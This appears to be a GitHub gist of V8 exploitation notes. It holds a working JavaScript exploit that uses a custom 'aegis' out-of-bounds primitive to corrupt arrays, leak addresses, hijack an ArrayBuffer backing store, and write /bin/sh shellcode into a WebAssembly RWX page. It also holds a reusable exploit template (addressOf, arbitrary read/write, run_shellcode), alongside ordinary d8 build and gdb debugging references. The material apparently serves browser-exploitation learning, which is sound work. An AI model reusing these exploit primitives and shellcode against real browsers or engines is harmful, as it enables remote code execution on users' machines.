Skip to content

Instantly share code, notes, and snippets.

@tin-z
Last active April 12, 2024 07:58
Show Gist options
  • Save tin-z/3aff709668b36e3fc22c6a7278c639d2 to your computer and use it in GitHub Desktop.
Save tin-z/3aff709668b36e3fc22c6a7278c639d2 to your computer and use it in GitHub Desktop.
v8 debugging stuff
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
// (1) convert stuff
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
// converts float to big unsigned int
function f2i(f)
{
_f[0] = f;
return _i[0];
}
// converts big unsigned int to float
function i2f(i)
{
_i[0] = i;
return _f[0];
}
// converts to hex format
function hex(i)
{
return "0x"+i.toString(16).padStart(16,"0");
}
// convert stuff 2
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex_2(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "-00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}
// create wasm shellcode
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
///////////////////////////
function pwn() {
let arr = [0x1234, 0x1338, 3.3];
let leaked_array = [u2d(0xbeef, 0xbeef), f, f, f];
let ab = new ArrayBuffer(0x1338);
%DebugPrint(arr);
%DebugPrint(leaked_array);
%DebugPrint(ab);
%DebugPrint(f);
// test it as:
// gdb -ex "source ../../tools/gdbinit" -ex "source ../../tools/gdb-v8-support.py" -ex "run" --args ./d8 --allow-natives-syntax /dataZ/v8/out.gn/demo.js --shell
// %SystemBreak();
}
pwn();
// ref: https://github.com/tin-z/aSiagaming/tree/master/Chrome-v8-tutorials
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
// (1) convert stuff
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
// converts float to big unsigned int
function f2i(f)
{
_f[0] = f;
return _i[0];
}
// converts big unsigned int to float
function i2f(i)
{
_i[0] = i;
return _f[0];
}
// converts to hex format
function hex(i)
{
return "0x"+i.toString(16).padStart(16,"0");
}
// convert stuff 2
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex_2(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "-00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}
// create wasm shellcode
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
function pwn () {
let arr = [0x1234, 0x1338, 3.3];
let leaked_array = [ u2d(0xbeef, 0xbeef), f, f, f];
let ab = new ArrayBuffer(0x1338);
// change arr's elements length from 3 to 0x1000
arr.aegis(6, 0x1000);
// here we're going to change leaked_array's elements length from 4 to 0x1000
arr.aegis(8, 0x1000);
// now that we changed element size let's leak stuff
for(let i = 0; i < 50; i += 2) {
tmp = hex( f2i(arr[i]) );
tmp2 = hex( f2i(arr[i+1]) );
console.log(i + " : " + tmp + " " + tmp2);
}
// after we've identified where's 0xbeefbeef (note, in the sense of bigint object as it's not a smi), then we leak wasm function addr
let f_addr = f2i(arr[28]) - 1n;
// let f_addr = d2u(arr[29])[0] - 1;
// let f_addr = d2u(arr[30])[0] - 1;
console.log("wasm entry point: " + hex(f_addr));
// now we overwrite the ab's backing store (which is the pointer to buffer data which is a strem of byte and is easy to manage instead of an object with shape)
// to manage it we use then dataview, which will do ab.GetBackingStore() which will return our corrupted address instead
let dv = new DataView(ab);
lo = dv.getUint32(0x18, true);
hi = dv.getUint32(0x18 + 4, true);
console.log("Arrabuf's backingstore before overwrite contains: " + hex_2(lo, hi));
arr[37] = i2f(f_addr);
// it's dynamic so dv is already "updated"
// re rwx addr: traverse Function–>shared_info–>WasmExportedFunctionData–>instance->instance+0x88
// take shared info address
lo = dv.getUint32(0x18, true);
hi = dv.getUint32(0x18 + 4, true);
var lo_shared = lo;
var hi_shared = hi;
console.log("Arrabuf's backingstore after overwrite contains (shared_info field which is of type SharedFunctionInfo): " + hex_2(lo, hi));
// get WasmExportedFunctionData
arr[37] = u2d(lo-1,hi);
lo = dv.getUint32(0x8, true);
hi = dv.getUint32(0x8 + 4, true);
console.log("shared_info's data field (which is the WasmExportedFunctionData and is located at: &shared_mem - 0x40) : " + hex_2(lo, hi));
// get instance
arr[37] = u2d(lo-1,hi);
lo = dv.getUint32(0x10, true);
hi = dv.getUint32(0x10 + 4, true);
console.log("WasmExportedFunctionData's instance field : " + hex_2(lo, hi));
// rwx addr
arr[37] = u2d(lo-1,hi);
var lo_rwx = dv.getUint32(0x80, true);
var hi_rwx = dv.getUint32(0x80 + 4, true);
// because of memory allocations, then above shared object we've instance
arr[37] = u2d(lo_shared - 1 - 0x120, hi_shared);
var lo_rwx_2 = dv.getUint32(0, true);
var hi_rwx_2 = dv.getUint32(4, true);
console.log("rwx addr : " + hex_2(lo_rwx, hi_rwx) + " == " + hex_2(lo_rwx_2, hi_rwx_2));
arr[37] = u2d(lo_rwx, hi_rwx);
// raise interrupt int3
// for (let i = 0; i < 10; i++) {
// dv.setUint32(4 * i, 0xcccccccc, true);
// }
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
dv.setFloat64(0, i2f(shellcode[0]), true);
dv.setFloat64(8, i2f(shellcode[1]), true);
dv.setFloat64(16, i2f(shellcode[2]), true);
f();
}
pwn();

Index



build options

# compile release version
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

# compile debug version
gclient sync
./tools/dev/v8gen.py x64.optdebug
ninja -C ./out.gn/x64.optdebug

# Build with natives_blob.bin and snapshot_blob.bin
# Add to args.gn
v8_static_library = true
v8_use_snapshot = true
v8_use_external_startup_data = true


d8

d8 flags:

--allow-natives-syntax  allow '%' commands
--trace-sim		            Dump a trace of all instructions executed
--print-code		           Print out all instructions generated during JIT
--print-all-code	        Print out all instructions generated ahead of time and during JIT
--print-*		              Print out various stages: ast, wasm-code, bytecode, etc. (see --help)
--trace-opt              Trace lazy optimization
--trace-deopt            Trace optimize function deoptimization  
--trace-turbo            Trace generated TurboFan IR
--trace-turbo-reduction  Trace TurboFan's various reducers
--trace-turbo-*

d8 builtin commands

var test_array = [1.1, 2.2, 3.3];

# print jsobject data and metadata
%DebugPrint(test_array);

# create a core dump and exit
%SystemBreak();

# Force a JIT on next call of f
%OptimizeFunctionOnNextCall(f)

# Manually trigger GC
%CollectGarbage()

# 'Is<type>' checks for various builtin types, e.g.
%IsArray(test_array)


## Extra:
# - full list of native syntax commands:
# src/runtime/runtime.h
#
# - examples
# test/debugger/debug/
#
# - Debugging over the V8 Inspector Protocol
# https://v8.dev/docs/inspector
# --enable-inspector flag
# Include test/mjsunit/mjsunit.js and test/debugger/test-api.js
# examples on test/debugger/debug folder


gdb

Extracted from v8's gdbinit and gdb-v8-support.py

gdb ./d8 -ex "source ../../tools/gdbinit" -ex "source ../../tools/gdb-v8-support.py" -ex "run"

# print v8 object (can't use the C++ syntax because of tagged pointers)
v8print <tagged-pointer>
# or job <tagged-pointer>
# or call (void *) _v8_internal_Print_Object(<tagged-pointer>)
# or call __gdb_print_v8_object(<tagged-pointer>)

# search
find-anywhere 0x41424344
# OR
search-pattern 0x41424344

# redirect subcommand's stdout to a temp file
redirect <gdb-comand> <address>
# e.g redirect x/10gx 0x10000

# print content of v8::internal::Handle
jh <addr>

# print content of v8::Local handle
jlh <addr>

# print code objects containing given PC
jco <addr>

# print LayoutDescriptor
jld <tagged-addr>

# Print the complete transition tree of the given v8 Map.
jtt <tagged-addr>

# Print the current JavaScript stack trace
jst

# Print a v8 TurboFan graph node
pn <node_address>

# Print stack trace and skip the JavaScript stack.
jss

# Print stack trace with assertion scopes.
bta

# Find the location of a given address in V8 pages.
heap_find <address>

# Dereference recursively from an address and display information. This acts like WinDBG `dps`
# which means print the value, if it is an address then deref it and print its content
dereference <address>


Example :

d8> let obj = { x: 0x41424344, y: 0x45464748 };

CTRL^C

gef> search-pattern 0x41424344

gef> x/8gx 0x26c5b3f4bb28-0x18
0x26c5b3f4bb10: 0x000007df0680a701      0x0000341feb380bf9   #  [ Map           , out-of-line properties ptr]
0x26c5b3f4bb20: 0x0000341feb380bf9      0x4142434400000000   #  [ array elements, in-line prop.1            ]
0x26c5b3f4bb30: 0x4546474800000000                           #  [ in-line prop.2]

gef> job 0x26c5b3f4bb11
0x26c5b3f4bb11: [JS_OBJECT_TYPE]
 - map: 0x07df0680a701 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0d3fdf642041 <Object map = 0x7df06800201>
 - elements: 0x341feb380bf9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x341feb380bf9 <FixedArray[0]> {
    #x: 1094861636 (const data field 0)
    #y: 1162233672 (const data field 1)
 }

gef> continue

let's change map by adding a new property

d8> obj.z = 0x494a4b4c;

gef_  job 0x26c5b3f4bb11
0x26c5b3f4bb11: [JS_OBJECT_TYPE]
 - map: 0x07df0680a751 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0d3fdf642041 <Object map = 0x7df06800201>
 - elements: 0x341feb380bf9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x26c5b3f4e041 <PropertyArray[3]> {
    #x: 1094861636 (const data field 0)
    #y: 1162233672 (const data field 1)
    #z: 1229605708 (const data field 2) properties[0]
 }
gef_  x/8gx  0x26c5b3f4bb10
0x26c5b3f4bb10: 0x000007df0680a751      0x000026c5b3f4e041   #  [ Map           , out-of-line properties ptr]
0x26c5b3f4bb20: 0x0000341feb380bf9      0x4142434400000000   #  [ array elements, in-line prop.1            ]
0x26c5b3f4bb30: 0x4546474800000000      0x0000341feb380249   #  [ in-line prop.2,  ??? ]
0x26c5b3f4bb40: 0x0000000000010001      0x0000341feb3823d1

gef_  x/4gx 0x000026c5b3f4e040
0x26c5b3f4e040: 0x0000341feb381891      0x0000000300000000   #  [ Map           , size                      ]
0x26c5b3f4e050: 0x494a4b4c00000000                           #  [ extra prop.1 'z' ]

gef_  v8print 0x000026c5b3f4e041
0x26c5b3f4e041: [PropertyArray]
 - map: 0x341feb381891 <Map>
 - length: 3
 - hash: 0
           0: 1229605708
         1-2: 0x341feb3804a9 <undefined>

gef_  v8print 0x0000341feb380bf9
0x341feb380bf9: [FixedArray] in ReadOnlySpace
 - map: 0x341feb380789 <Map>
 - length: 0

gef> continue

let's change map by adding entries on the elements array

d8> obj[0] = 0x1337;
d8> obj[1] = 0x1338;

gef_  job 0x26c5b3f4bb11
0x26c5b3f4bb11: [JS_OBJECT_TYPE]
 - map: 0x07df0680a751 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0d3fdf642041 <Object map = 0x7df06800201>
 - elements: 0x26c5b3f4e169 <FixedArray[17]> [HOLEY_ELEMENTS]
 - properties: 0x26c5b3f4e041 <PropertyArray[3]> {
    #x: 1094861636 (const data field 0)
    #y: 1162233672 (const data field 1)
    #z: 1229605708 (const data field 2) properties[0]
 }
 - elements: 0x26c5b3f4e169 <FixedArray[17]> {
           0: 4919
           1: 4920
        2-16: 0x341feb380589 <the_hole>
 }

gef_  job 0x26c5b3f4e169
0x26c5b3f4e169: [FixedArray]
 - map: 0x341feb380789 <Map>
 - length: 17
           0: 4919
           1: 4920
        2-16: 0x341feb380589 <the_hole>

gef_  x/8gx 0x26c5b3f4e168
0x26c5b3f4e168: 0x0000341feb380789      0x0000001100000000  # [ Map                , capacity | ??  ]
0x26c5b3f4e178: 0x0000133700000000      0x0000133800000000  # [ elem.1             , elem.2         ]
0x26c5b3f4e188: 0x0000341feb380589      0x0000341feb380589  # [ elem.3 ("the_hole" magic value), .. ]
0x26c5b3f4e198: 0x0000341feb380589      0x0000341feb380589  # [ ... ]


Javascript

refs:

// (1) convert stuff
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);

// converts float to big unsigned int
function f2i(f)
{
	_f[0] = f;
	return _i[0];
}

// converts big unsigned int to float
function i2f(i)
{
	_i[0] = i;
	return _f[0];
}

// converts to hex format
function hex(i)
{
	return "0x"+i.toString(16).padStart(16,"0");
}

// convert stuff 2
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}

function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}

function hex_2(lo, hi) {
  if( lo == 0 ) {
    return ("0x" + hi.toString(16) + "-00000000");
  }
  if( hi == 0 ) {
    return ("0x" + lo.toString(16));
  }
  return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}


// exploit primitive

// 2. leaking object's address
function addressOf(obj_to_leak)
{
 // from the leak vuln print the obj_to_leak addr
}

// 3. turn addr to object
function fakeObject(addr_to_fake) { }

// 4. read data from addr using OOB-read or aar(arbitrary address read)
function read_oob(addr, length) { }

// 5. write data to addr using OOB-write or aaw(arbitrary address write)
function write_oob(addr, data) { }


// 6. return rwx addr: 
//  Function–>shared_info–>WasmExportedFunctionData–>instance->instance+0x88
//
// create wasm shellcode
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
//
//
function rwx_page_addr() {
  // Without compression pointer
  var shared_info_addr = read_oob(f_addr + 0x18n, 8) - 0x1n;
  var wasm_exported_func_data_addr = read_oob(shared_info_addr + 0x8n, 8) - 0x1n;
  var wasm_instance_addr = read_oob(wasm_exported_func_data_addr + 0x10n, 8) - 0x1n;
  var rwx_page_addr = read_oob(wasm_instance_addr + 0x80n, 8);
  var rwx_page_addr_2 = read_oob(shared_info_addr - 0x120n, 8);
  console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr) + " == " + hex(rwx_page_addr_2));
  
  // With compression pointer
  var shared_info_addr = read_oob(f_addr + 0xc, 4) - 0x1;
  var wasm_exported_func_data_addr = read_oob(shared_info_addr + 0x4, 4) - 0x1;
  var wasm_instance_addr = read_oob(wasm_exported_func_data_addr + 0x8, 4) - 0x1;
  var rwx_page_addr = read_oob(wasm_instance_addr + 0x60, 8);
  console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));
}


// 7. Dataview object aar aaw use case
var buffer = new ArrayBuffer(16);
var view = new DataView(buffer);
//
view.setUint32(0, 0x44434241, true);
console.log(view.getUint8(0, true));
%DebugPrint(buffer);
%DebugPrint(view);


// 8. shellcode
function run_shellcode(rwx_page_addr) {
  /* /bin/sh for linux x64
    char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f \x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
  */
  var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
  ];

  var data_buf = new ArrayBuffer(24);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

  write_oob(rwx_page_addr, buf_backing_store_addr);

  data_view.setFloat64(0, i2f(shellcode[0]), true);
  data_view.setFloat64(8, i2f(shellcode[1]), true);
  data_view.setFloat64(16, i2f(shellcode[2]), true);

  // wasmInstance.exports.main
  f();
}

// 9. sleep
function sleep(sleepDuration) {
  var now = new Date().getTime();
  while(new Date().getTime() < now + sleepDuration){ /* do nothing */ } 
}

// 10. trigger gc
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

// 11. log
function log(msg) {
  document.write(msg + "</br>");
}

// 12. hexdump
function hexdump(arr, lim) {
  for(let i = 0; i < lim/2; i++) {
    tmp = hex( f2i(arr[i]) );
    tmp2 = hex( f2i(arr[i+1]) );
    console.log("[" + i + "] : " + tmp + "   " + tmp2);
  }
}


Notes

Turbofan := the JIT compiler inside v8
Turbofan IR := graph-based, consisting of operations (nodes) and different types of edges between them
Edges := {control-flow edges, data-flow, effect-flow}
Nodes := {JavaScript operations, simplified operations, and machine operations}

JavaScript JIT compiler pipeline := 1. IR Graph building and specialization -> 2. AOT optimization (feedback, maps) -> 3. assembly and bailouts


Chrome

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment